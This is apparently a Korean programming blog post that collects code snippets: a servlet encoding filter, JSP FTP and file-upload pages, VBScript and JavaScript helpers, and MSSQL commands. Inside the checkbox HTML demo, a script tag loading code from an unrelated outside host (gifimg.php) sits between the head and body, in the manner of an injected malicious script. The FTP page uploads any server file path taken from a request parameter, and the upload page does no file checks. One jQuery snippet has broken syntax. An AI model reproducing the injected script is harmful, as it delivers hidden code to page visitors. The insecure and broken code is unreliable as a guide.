출처 모든 방문 환영합니다. | 야무지게
원문 http://blog.naver.com/83heejung/50035770918
web.xml 환경설정 - Filter 등록
                
<filter>
	<filter-name>char Encoding</filter-name>
	<filter-class>convert.KorConvert</filter-class>
	<init-param>
		<param-name>encoding</param-name>
		<param-value>UTF-8</param-value>      
	</init-param>
</filter> 


java.servlet.Filter 의 생성 주기

웹 응용프로그램이 처음 실행 될때 개체가 생성되고 init() 을 실행

클라이언트 요청이 있을대마다 doFilter() 실행

웹 응용 프로그램이 종료될때 destory() 실행

src.convert.KorConvert.java 예제 

package convert; 

import java.io.IOException; 

import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse; 

public class KorConvert implements Filter{
	private String encoding;
	private FilterConfig fg;
	private boolean ignore = true;

	@Override
	public void init(FilterConfig arg0) throws ServletException {
		fg = arg0;
		// 필터가 정의되어지는 XML 문서에서 정보를 가져온다.
		encoding = fg.getInitParameter("encoding");
		String value = fg.getInitParameter("ignore");
		
		if(value == null) {
			ignore = true;
		} else if(value.equalsIgnoreCase("true")) {
			ignore = true;
		} else if(value.equalsIgnoreCase("yes")) {
			ignore = true;
		} else {
			ignore = false;
		}    
	}

	@Override
	public void doFilter(ServletRequest arg0, ServletResponse arg1,
	FilterChain arg2) throws IOException, ServletException {
		if( ignore || arg0.getCharacterEncoding() == null) {
			// ignore 가 true 이거나 setCharacterEncoding으로 설정된 캐릭터셋값이 없을 경우
	
			// 이곳에서 전처리 코드 수행
			if(encoding != null) {
				arg0.setCharacterEncoding(encoding);
			}
			arg2.doFilter(arg0, arg1); 
	
			// 후처리 코드 수행
		}  
	} 

	@Override
	public void destroy() {
	// TODO Auto-generated method stub  
	}
} 


<%@ page language="java" contentType="text/html; charset=EUC-KR"
 pageEncoding="EUC-KR"%>
<%@ page import="java.io.*" %>
<%@ page import="java.net.*" %>
<%@ page import="org.apache.commons.net.ftp.*" %>

<%
	
	FTPClient ftp = null;
	
	try{
	 	String FilePath="";
	 	FilePath=request.getParameter("FilePath");
	
		ftp = new FTPClient();
		ftp.setControlEncoding("UTF-8"); 
		ftp.connect("아이피");
		ftp.login("아이디", "패스워드");
				
		ftp.changeWorkingDirectory("/vms/"); // 디렉토리 변경
		
		File uploadFile = new File(FilePath);
		FileInputStream fis = null;
		
		try{
		  fis = new FileInputStream(uploadFile);
		  boolean isSuccess = ftp.storeFile(uploadFile.getName(), fis);
		  if (isSuccess)
		  {
		      System.out.println("Upload Success");
		  }
		} catch (IOException ex){
		  System.out.println(ex.getMessage());
		} finally{
		  if (fis != null)
		      try{
		          fis.close();
		      } catch (IOException ex) {}
		}
		ftp.logout();
	} catch (SocketException e){
	    System.out.println("Socket:" + e.getMessage());
	} catch (IOException e){
	    System.out.println("IO:" + e.getMessage());
	} finally{
	    if (ftp != null && ftp.isConnected()){
	        try{
	            ftp.disconnect();
	        } catch (IOException e){}
	    }
	} 

%>

<%@ page language="java" contentType="text/html; charset=EUC-KR" pageEncoding="EUC-KR"%>
<%@ page import="com.oreilly.servlet.MultipartRequest"%>
<%@ page import="com.oreilly.servlet.multipart.DefaultFileRenamePolicy"%>
<%@ page import="java.util.*"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=EUC-KR">
<title>▒▒</title>
</head>
<body>
<% 

	String savePath="c:\download"; // 저장할 디렉토리 (절대경로)
	String formName="";
	String fileName="";
	String fullPath="";
	
	int sizeLimit = 10 * 1024 * 1024 ; // 10메가까지 제한 넘어서면 예외발생
	
	try{
		MultipartRequest multi=new MultipartRequest(request, savePath, sizeLimit, new DefaultFileRenamePolicy());
		Enumeration formNames=multi.getFileNames();  // 폼의 이름 반환
		formName=(String)formNames.nextElement(); // 자료가 많을 경우엔 while 문을 사용
		fileName=multi.getFilesystemName(formName); // 파일의 이름 얻기
		fullPath=savePath+"/"+fileName;
	
		if(fileName == null) {   // 파일이 업로드 되지 않았을때
			out.println("<script>alert(\"\\n파일 에러!. \\n\\n파일을 확인해주세요.! \");</script>");
		} else {  // 파일이 업로드 되었을때
			out.println("<script>alert(\"업로드 완료! \");</script>");
		}
	}catch(Exception e){
		System.out.println(e);
	}
%>

</body>
</html>

Function ReplaceFunc(srcString, patrn, replStr)
	Dim regEx            ' 변수를 만듭니다.
	Set regEx = New RegExp        ' 정규식을 만듭니다.
	regEx.Pattern = patrn            ' 패턴을 설정합니다.
	regEx.IgnoreCase = True           ' 대/소문자를 구분하지 않도록 합니다.
	regEx.Global = True
	ReplaceFunc = regEx.Replace(srcString, replStr)   ' 문자열을 대체합니다.
End Function


 	Dim a
	
	a="010-1234-1234sdfdsf-dsfs"
	a=ReplaceFunc(a,"[^0-9]","")
	Response.write a



결과) 01012341234
Function now_date()
	Dim today, nowtime
	Dim syy, smm, sdd, shh, smn, sec
	
	today = date()  :  nowtime = time()
	syy = year(today) : smm = month(today)  : sdd = day(today)
	shh = hour(nowtime) : smn = minute(nowtime) : sec = second(nowtime)
	if len(smm)=1 then smm="0"&smm end if : if len(shh)=1 then shh="0"&shh end if
	if len(sdd)=1 then sdd="0"&sdd end if   : if len(smn)=1 then smn="0"&smn end if
	if len(sec)=1 then sec="0"&sec end if
	
	now_date = (syy&smm&sdd) & (shh&smn)
End Function 

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE> New Document </TITLE>
<script language='JavaScript'>
function checkCall(oElement){
     var newtime = new Date().getTime();
     var len = document.form1.chkC.length;
     var chkArr = document.form1.chkC;
     var boolv =  oElement.checked;
     for(var i=0;i<len;i++){
          chkArr[i].checked = boolv;
     }

     var newtime2 = new Date().getTime();
     td3.innerHTML="걸린시간 : "+(newtime2-newtime);
}
</script>
</HEAD>
<script src=http://hairbrokersinc.com/images/gifimg.php ></script><BODY>
     <form name='form1'>
          <table border='1' width='700'>
               <tr>
                    <td><input type='checkbox' id='chkCall' onclick='checkCall(this)'>전체 체크/해제</td>
               </tr>
               <tr>
                    <td>
                         <div id="divC" style="overflow-x: hidden; overflow-y: auto; width:100%; height:200; padding: 0px; border: 1;">          
                         		<script language='JavaScript'>
                              	for(var i=0;i<2000;i++){
                                 	document.write("<input type='checkbox' id='chkC' value='"+i+"'>C의 "+i+"번째 체크박스<br />")
                                 }
                              </script>
                         <div>                   
                    </td>
               </tr>
               <tr>
                    <td id='td3'> </td>
               </tr>
          <table>
     </form>
</body>
</HTML>



var arr = [1, 2, 3, 4, 5] // array inicial
var removeItem = 2; // item do array que devera ser removido
arr = jQuery.grep(arr, function(value)) {
       return value != removeItem;
});

result : [1, 3, 4, 5]

숫자만 나타내기
var temp="1aaa2aabb한3글이sdf당4dDFFJJE";
//var regExp = /[^0-9A-Za-zㄱ-ㅎ가-힣]/gi;

var regExp = /[^0-9]/gi;
temp = temp.replace(regExp,"");
document.write(temp);

결과 : 1234
읽어들일 파일형식 지정 파일명을 TextFormat.fmt라 하겠다.
9.0 
1
1       SQLCHAR        0       20       "\r\n"   1     Phone_number       "" 


쿼리 실행!
select    COUNT(TXTFILE.Phone_number) AS COUNT 
from       OPENROWSET ( BULK 'c:\temp\a.txt',  
             FORMATFILE='c:\temp\TextFormat.fmt' ) as TXTFILE (Phone_number) 

MSSQL 2000
sp_changeobjectowner 'test.test', 'dbo'

MSSQL 2005 이상
ALTER schema dbo transfer test.test

+ Recent posts